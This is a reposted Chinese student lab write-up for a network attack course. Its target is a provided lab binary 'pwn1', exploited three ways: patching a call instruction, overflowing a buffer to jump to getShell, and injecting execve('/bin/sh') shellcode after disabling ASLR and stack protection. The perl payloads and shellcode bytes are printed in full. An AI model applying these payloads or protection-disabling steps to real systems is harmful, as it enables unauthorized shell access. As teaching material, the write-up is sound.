博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
阅读量:5148 次
发布时间:2019-06-13

本文共 1906 字,大约阅读时间需要 6 分钟。

2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

一、实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


二、基础知识

  • 熟悉Linux基本操作
  • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
  • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。
  • 缓冲区溢出概图:
    1298409-20190316150411869-632856639.jpg

三、Exp1.1 直接修改程序机器指令,改变程序执行流程

实验步骤:

  • 反汇编:查看pwn20165237的代码机器指令和汇编语言
objdump -d pwn20165237 | more

1298409-20190316145954981-1602025060.png

  • 进行编辑:
vi pwn20165237

在vi里面进行以下步骤

  • 使用 :%!xxd显示模式切换为16进制模式
  • 使用 /e8d7查找要修改的内容
    ,并将d7修改成c3,保存并退出
  • 将16进制转换回原格式 :%!xxd -r,:wq!退出

    1298409-20190316150101675-1190025510.png

  • 进行反汇编查看机器指令和汇编语言
objdump -d pwn20165237 | more

1298409-20190316150236993-2099029512.png

  • 验证:
./pwn20165237

1298409-20190316150315590-1070102059.png


四、Exp1.2通过构造输入参数,造成BOF攻击,改变程序执行流

实验步骤

  • 确认返回地址:
objdump -d pwn5237 | more

查看getshell()的内存地址

1298409-20190316150508561-1712195897.png

  • 对pwn5237进行GDB调试,运行并输入进行尝试 1111111122222222333333334444444412345678

    1298409-20190316150541461-413431151.png

  • 得到ASCII码值 0x34333231 也就是倒序的1234
    我们需要将其替换成getshell的返回地址 0x0804847d
  • 生成包含字符串的文件

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
  • 使用命令
(cat input;cat) | ./pwn5237

将input的内容作为./pwn5237的输入,并验证结果

1298409-20190316150722918-1569480510.png


五、Exp1.3Shellcode注入攻击

安装execstack:apt-get install execstack 设置堆栈可执行: execstack -s pwn1     查询文件的堆栈是否可执行: execstack -q pwn1   关闭地址随机化: echo "0" > /proc/sys/kernel/randomize_va_space  查看地址随机化是否已经关闭: more /proc/sys/kernel/randomize_va_space

1298409-20190316150746180-1017132945.png

  • 注入攻击

    1298409-20190316150805564-1968433709.png

  • 再打开一个终端Ctrl+Alt+t,找到进程号为33071

  • 使用gdb调试进程
gdb pwn1attach 33071disassemble foobreak *0x080484aecontinueinfo r espx/16x 0xffffd30c

1298409-20190316150937343-1661852955.png

  • 通过计算,得到shellcode的地址是0xffffd310

    1298409-20190316150959465-947338290.png

  • 输入指令:
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
  • 验证:
    1298409-20190316151015437-906995173.png

六、实验感想与问题

  • 感想:这次实验,通过和舍友的讨论以及百度的帮助让我对缓冲区溢出攻击有了更深刻的认识,尤其是栈的溢出与替换;实验操作过程中根据指导书按部就班得做没有什么困难,希望能够再接再厉,学到更多有用的知识!

  • 什么是漏洞?漏洞有什么危害?

答:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。本次实验的缓冲区溢出原理就是一个漏洞。他们会使计算机遭受病毒和黑客攻击,将自己的私人信息泄露出去。


转载于:https://www.cnblogs.com/Miss-moon/p/10542405.html

你可能感兴趣的文章
数据转换服务-文本抽出技术
查看>>
GPS导航仪常见术语解释
查看>>
实验七
查看>>
HDU-2028
查看>>
Tomcat支持多少并发
查看>>
远程桌面工具有哪些?
查看>>
Ubuntu12.04 耳机无声 扬声器有声的解决
查看>>
关联查询中的一对一查询。通过第一种方式也就是自动映射的方式查询所有订单信息,关联查询下单用户信息。(由于需要创建中间类,这种方法在实际开发中已经不再使用)...
查看>>
【编程思想】【设计模式】【行为模式Behavioral】备忘录模式Memento
查看>>
Android深度探索第九章
查看>>
hdu 2393:Higher Math(计算几何,水题)
查看>>
windows下用tcc编译Lua
查看>>
execl导入导出
查看>>
phpcms和php格式化时间戳
查看>>
thinkphp的空控制器和空操作以及对应解决方法
查看>>
[笔记] SQL性能优化 - 常用语句(一)
查看>>
openvino安装踩坑记
查看>>
html03
查看>>
LINQ语法详解
查看>>
The folder is already a source folder
查看>>